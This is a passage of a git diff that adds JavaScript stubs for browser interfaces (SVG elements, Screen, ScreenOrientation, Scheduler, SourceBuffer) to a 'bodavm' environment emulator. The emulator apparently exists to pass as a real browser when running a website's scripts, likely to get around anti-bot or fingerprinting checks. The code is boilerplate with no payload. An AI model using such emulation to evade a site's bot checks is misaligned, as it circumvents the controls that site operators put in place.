bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "getBBox", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "getCTM", {configurable:true, enumerable:true, writable:true, value:function getCTM (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "getCTM", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGGraphicsElement', "getScreenCTM", {configurable:true, enumerable:true, writable:true, value:function getScreenCTM (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGraphicsElement'].prototype, "SVGGraphicsElement", "getScreenCTM", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/SVGPathElement.js b/env_xbb_lastest_jsdom/env copy/SVGPathElement.js new file mode 100644 index 00000000..c83a1776 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/SVGPathElement.js @@ -0,0 +1,5 @@ +// SVGPathElement对象 +bodavm.memory.globalobj['SVGPathElement'] = function SVGPathElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPathElement'], "SVGPathElement"); +bodavm.memory.globalobj['SVGPathElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGeometryElement'].prototype; +bodavm.memory.globalobj['SVGPathElement'].__proto__=bodavm.memory.globalobj['SVGGeometryElement']; diff --git a/env_xbb_lastest_jsdom/env copy/SVGPatternElement.js b/env_xbb_lastest_jsdom/env copy/SVGPatternElement.js new file mode 100644 index 00000000..1ba0e911 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/SVGPatternElement.js @@ -0,0 +1,17 @@ +// SVGPatternElement对象 +bodavm.memory.globalobj['SVGPatternElement'] = function SVGPatternElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPatternElement'], "SVGPatternElement"); +bodavm.memory.globalobj['SVGPatternElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGPatternElement'].__proto__=bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGPatternElement', "patternUnits", {configurable:true, enumerable:true, get:function patternUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "patternUnits_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "patternContentUnits", {configurable:true, enumerable:true, get:function patternContentUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "patternContentUnits_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "patternTransform", {configurable:true, enumerable:true, get:function patternTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "patternTransform_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "x_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "y_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "width_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "height_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "viewBox", {configurable:true, enumerable:true, get:function viewBox (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "viewBox_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "preserveAspectRatio", {configurable:true, enumerable:true, get:function preserveAspectRatio (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "preserveAspectRatio_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "href_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "requiredExtensions", {configurable:true, enumerable:true, get:function requiredExtensions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "requiredExtensions_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGPatternElement', "systemLanguage", {configurable:true, enumerable:true, get:function systemLanguage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPatternElement'].prototype, "SVGPatternElement", "systemLanguage_get", arguments)}, set:undefined},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/SVGSVGElement.js b/env_xbb_lastest_jsdom/env copy/SVGSVGElement.js new file mode 100644 index 00000000..98317449 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/SVGSVGElement.js @@ -0,0 +1,43 @@ +// SVGSVGElement对象 +bodavm.memory.globalobj['SVGSVGElement'] = function SVGSVGElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGSVGElement'], "SVGSVGElement"); +bodavm.memory.globalobj['SVGSVGElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGSVGElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; +bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_DISABLE", {configurable:false, enumerable:true, writable:false, value:1}); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_MAGNIFY", {configurable:false, enumerable:true, writable:false, value:2}); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "x_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "y_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "width_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "height_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "currentScale", {configurable:true, enumerable:true, get:function currentScale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "currentScale_get", arguments)}, set:function currentScale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "currentScale_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "currentTranslate", {configurable:true, enumerable:true, get:function currentTranslate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "currentTranslate_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "viewBox", {configurable:true, enumerable:true, get:function viewBox (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "viewBox_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "preserveAspectRatio", {configurable:true, enumerable:true, get:function preserveAspectRatio (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "preserveAspectRatio_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "zoomAndPan", {configurable:true, enumerable:true, get:function zoomAndPan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "zoomAndPan_get", arguments)}, set:function zoomAndPan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "zoomAndPan_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_DISABLE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_MAGNIFY", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "animationsPaused", {configurable:true, enumerable:true, writable:true, value:function animationsPaused (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "animationsPaused", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "checkEnclosure", {configurable:true, enumerable:true, writable:true, value:function checkEnclosure (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "checkEnclosure", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "checkIntersection", {configurable:true, enumerable:true, writable:true, value:function checkIntersection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "checkIntersection", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGAngle", {configurable:true, enumerable:true, writable:true, value:function createSVGAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGAngle", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGLength", {configurable:true, enumerable:true, writable:true, value:function createSVGLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGLength", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGMatrix", {configurable:true, enumerable:true, writable:true, value:function createSVGMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGMatrix", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGNumber", {configurable:true, enumerable:true, writable:true, value:function createSVGNumber (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGNumber", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGPoint", {configurable:true, enumerable:true, writable:true, value:function createSVGPoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGPoint", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGRect", {configurable:true, enumerable:true, writable:true, value:function createSVGRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGRect", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGTransform", {configurable:true, enumerable:true, writable:true, value:function createSVGTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGTransform", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGTransformFromMatrix", {configurable:true, enumerable:true, writable:true, value:function createSVGTransformFromMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGTransformFromMatrix", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "deselectAll", {configurable:true, enumerable:true, writable:true, value:function deselectAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "deselectAll", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "forceRedraw", {configurable:true, enumerable:true, writable:true, value:function forceRedraw (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "forceRedraw", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "getCurrentTime", {configurable:true, enumerable:true, writable:true, value:function getCurrentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "getCurrentTime", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "getElementById", {configurable:true, enumerable:true, writable:true, value:function getElementById (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "getElementById", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "getEnclosureList", {configurable:true, enumerable:true, writable:true, value:function getEnclosureList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "getEnclosureList", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "getIntersectionList", {configurable:true, enumerable:true, writable:true, value:function getIntersectionList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "getIntersectionList", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "pauseAnimations", {configurable:true, enumerable:true, writable:true, value:function pauseAnimations (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "pauseAnimations", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "setCurrentTime", {configurable:true, enumerable:true, writable:true, value:function setCurrentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "setCurrentTime", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "suspendRedraw", {configurable:true, enumerable:true, writable:true, value:function suspendRedraw (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "suspendRedraw", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "unpauseAnimations", {configurable:true, enumerable:true, writable:true, value:function unpauseAnimations (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "unpauseAnimations", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "unsuspendRedraw", {configurable:true, enumerable:true, writable:true, value:function unsuspendRedraw (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "unsuspendRedraw", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "unsuspendRedrawAll", {configurable:true, enumerable:true, writable:true, value:function unsuspendRedrawAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "unsuspendRedrawAll", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/SVGSymbolElement.js b/env_xbb_lastest_jsdom/env copy/SVGSymbolElement.js new file mode 100644 index 00000000..801d762d --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/SVGSymbolElement.js @@ -0,0 +1,7 @@ +// SVGSymbolElement对象 +bodavm.memory.globalobj['SVGSymbolElement'] = function SVGSymbolElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGSymbolElement'], "SVGSymbolElement"); +bodavm.memory.globalobj['SVGSymbolElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGSymbolElement'].__proto__=bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGSymbolElement', "viewBox", {configurable:true, enumerable:true, get:function viewBox (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSymbolElement'].prototype, "SVGSymbolElement", "viewBox_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGSymbolElement', "preserveAspectRatio", {configurable:true, enumerable:true, get:function preserveAspectRatio (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSymbolElement'].prototype, "SVGSymbolElement", "preserveAspectRatio_get", arguments)}, set:undefined},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/SVGUseElement.js b/env_xbb_lastest_jsdom/env copy/SVGUseElement.js new file mode 100644 index 00000000..7e57e313 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/SVGUseElement.js @@ -0,0 +1,10 @@ +// SVGUseElement对象 +bodavm.memory.globalobj['SVGUseElement'] = function SVGUseElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGUseElement'], "SVGUseElement"); +bodavm.memory.globalobj['SVGUseElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGUseElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; +bodavm.toolsFunc.defineProperty('SVGUseElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "x_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGUseElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "y_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGUseElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "width_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGUseElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "height_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SVGUseElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "href_get", arguments)}, set:undefined},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/Scheduler.js b/env_xbb_lastest_jsdom/env copy/Scheduler.js new file mode 100644 index 00000000..94d1dd45 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Scheduler.js @@ -0,0 +1,8 @@ +// Scheduler对象 +bodavm.memory.globalobj['Scheduler'] = function Scheduler(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Scheduler'], "Scheduler"); +bodavm.toolsFunc.defineProperty('Scheduler', "postTask", {configurable:true, enumerable:true, writable:true, value:function postTask (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Scheduler'].prototype, "Scheduler", "postTask", arguments)}},'prototype'); + +// scheduler对象 +bodavm.memory.globalobj[ 'scheduler'] = {} +bodavm.memory.globalobj[ 'scheduler'] .__proto__=bodavm.memory.globalobj['Scheduler'].prototype; diff --git a/env_xbb_lastest_jsdom/env copy/Screen.js b/env_xbb_lastest_jsdom/env copy/Screen.js new file mode 100644 index 00000000..42608c46 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Screen.js @@ -0,0 +1,22 @@ +// Screen对象 +bodavm.memory.globalobj['Screen'] = function Screen(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Screen'], "Screen"); +bodavm.memory.globalobj['Screen'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Screen'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Screen', "availWidth", {configurable:true, enumerable:true, get:function availWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "availWidth_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "availHeight", {configurable:true, enumerable:true, get:function availHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "availHeight_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "width_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "height_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "colorDepth", {configurable:true, enumerable:true, get:function colorDepth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "colorDepth_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "pixelDepth", {configurable:true, enumerable:true, get:function pixelDepth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "pixelDepth_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "availLeft", {configurable:true, enumerable:true, get:function availLeft (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "availLeft_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "availTop", {configurable:true, enumerable:true, get:function availTop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "availTop_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "orientation", {configurable:true, enumerable:true, get:function orientation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "orientation_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "onchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "isExtended", {configurable:true, enumerable:true, get:function isExtended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "isExtended_get", arguments)}, set:undefined},'prototype'); + +bodavm.memory.globalobj[ 'screen'] = {} +bodavm.memory.globalobj[ 'screen'].__proto__=bodavm.memory.globalobj['Screen'].prototype; + + + diff --git a/env_xbb_lastest_jsdom/env copy/ScreenOrientation.js b/env_xbb_lastest_jsdom/env copy/ScreenOrientation.js new file mode 100644 index 00000000..7b1a213f --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/ScreenOrientation.js @@ -0,0 +1,10 @@ +// ScreenOrientation对象 +bodavm.memory.globalobj['ScreenOrientation'] = function ScreenOrientation(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ScreenOrientation'], "ScreenOrientation"); +bodavm.memory.globalobj['ScreenOrientation'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['ScreenOrientation'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('ScreenOrientation', "angle", {configurable:true, enumerable:true, get:function angle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "angle_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('ScreenOrientation', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "type_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('ScreenOrientation', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "onchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('ScreenOrientation', "lock", {configurable:true, enumerable:true, writable:true, value:function lock (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "lock", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('ScreenOrientation', "unlock", {configurable:true, enumerable:true, writable:true, value:function unlock (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "unlock", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/SourceBuffer.js b/env_xbb_lastest_jsdom/env copy/SourceBuffer.js new file mode 100644 index 00000000..92d94f37 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/SourceBuffer.js @@ -0,0 +1,20 @@ +// SourceBuffer对象 +bodavm.memory.globalobj['SourceBuffer'] = function SourceBuffer(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SourceBuffer'], "SourceBuffer"); +bodavm.memory.globalobj['SourceBuffer'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['SourceBuffer'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('SourceBuffer', "mode", {configurable:true, enumerable:true, get:function mode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "mode_get", arguments)}, set:function mode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "mode_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "updating", {configurable:true, enumerable:true, get:function updating (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "updating_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "buffered", {configurable:true, enumerable:true, get:function buffered (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "buffered_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "timestampOffset", {configurable:true, enumerable:true, get:function timestampOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "timestampOffset_get", arguments)}, set:function timestampOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "timestampOffset_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "appendWindowStart", {configurable:true, enumerable:true, get:function appendWindowStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendWindowStart_get", arguments)}, set:function appendWindowStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendWindowStart_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "appendWindowEnd", {configurable:true, enumerable:true, get:function appendWindowEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendWindowEnd_get", arguments)}, set:function appendWindowEnd (){return 